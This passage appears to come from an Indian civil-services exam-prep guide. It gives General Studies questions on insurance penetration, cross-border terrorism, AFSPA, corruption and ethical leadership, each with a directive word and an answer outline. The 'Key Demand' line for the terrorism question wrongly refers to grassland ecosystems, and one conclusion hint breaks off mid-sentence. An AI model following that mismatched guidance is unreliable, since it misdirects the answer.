Why the question: The Insurance Regulatory and Development Authority of India (IRDAI), the apex regulator of insurance products, has asked companies to enable a wide demographic of citizens to benefit from health insurance. Key Demand of the question: To write about the importance of making insurance more eligible and affordable. Directive word:   Discuss – This is an all-encompassing directive – you must debate on paper by going through the details of the issues concerned by examining each one of them. You must give reasons for both for and against arguments. Structure of the answer: Introduction:  Begin by mentioning statistic related to insurance penetration in the country. Body: First, write about the various bottlenecks in insurance penetration in the country. Suggest reforms to ensure the that insurance is accessible and affordable by all. Conclusion: Conclude with a way forward.

General Studies – 3

Topic: Security challenges and their management in border areas – linkages of organized crime with terrorism.

4. Against the backdrop of a rising cross-border terrorism over the past two decades, discuss the ways in which India can improve its security to prevent terror attacks from its neighbouring countries. (250 words)

Difficulty level: Easy

Reference: Insights on India

Why the question: The question is part of the static syllabus of General studies paper – 3 and mentioned as part of Mission-2024 Secure timetable. Key Demand of the question: To write about the characteristics of grassland ecosystems and the impact of various threats to it. Directive word:  Discuss – This is an all-encompassing directive – you must debate on paper by going through the details of the issues concerned by examining each one of them. You must give reasons for both for and against arguments. Structure of the answer: Introduction:  Begin by giving context. Body: First, write about how cross-border terrorism often originates from or is supported by neighboring countries, the historical and geopolitical factors that may hinder security cooperation with certain neighbours. Discuss issues related to trust deficit, conflicting interests, and sovereignty concerns that pose challenges to regional security collaboration. Next, write about the steps that are needed to prevent the same. Conclusion: Conclude by writing a way forward.

Topic: Role of external state and non-state actors in creating challenges to internal security.

5. The Armed Forces (Special Powers) Act of 1958 (AFSPA) is a controversial law that has been a subject of criticism and debate, with arguments both in favor of its retention and for its repeal. Analyse. (250 words)

Why the question: The question is part of the static syllabus of General studies paper – 3 and mentioned as part of Mission-2024 Secure timetable. Key Demand of the question: To comment as to whether or not AFSPA be repealed. Directive word:  Analyse – When asked to analyse, you must examine methodically the structure or nature of the topic by separating it into component parts and present them in a summary. Structure of the answer: Introduction:  Begin by writing about aims of AFSPA. Body: First, mention the broad features of AFSPA. Next, giving context of killing of innocent civilians and other instances of its misuse. Mentions pros and cons of AFSPA. Conclusion: Conclude by commenting on the action that India must take with regards to AFSPA.

General Studies – 4

Topic: challenges of corruption.

6. Successfully tackling corruption is a catalyst for positive transformation across various sectors. It creates a virtuous cycle where increased public trust, economic development, and social justice reinforce each other, leading to a more equitable, stable, and prosperous society. Elaborate. (250 words)

Why the question: The question is part of the static syllabus of General studies paper – 4. Key Demand of the question:  To write about the importance of fighting corruption. Directive word: Elaborate – Give a detailed account as to how and why it occurred, or what is the context. You must be defining key terms wherever appropriate and substantiate with relevant associated facts. Structure of the answer: Introduction:  Begin by giving importance of having a corruptionless public service delivery. Body: Write about the importance of fighting corruption – creates jobs, achieves gender equality, and secures wider access to essential services such as healthcare and education etc. Substantiate with examples. Conclusion: Conclude by mentioning various

Topic: Work culture.

7. Leadership should exemplify ethical behaviour and demonstrate a commitment to integrity. Discuss. (150 words)

Difficulty level: Moderate.

Why the question: The question is part of the static syllabus of General studies paper – 4 and part of Mission-2024 Secure. Key Demand of the question: To write about components of ethical workplace and ways to build it. Structure of the answer: Introduction: Start by describing the ethical work culture. Body: Write about the major components of ethical work culture – priority to employee rights, fair procedures, and equity in pay and promotion, and that promotes tolerance, compassion, loyalty and honesty in the treatment of customers and employees. Next, write about ways to build ethical workplace culture and environment. Conclusion: Conclude by summarising.

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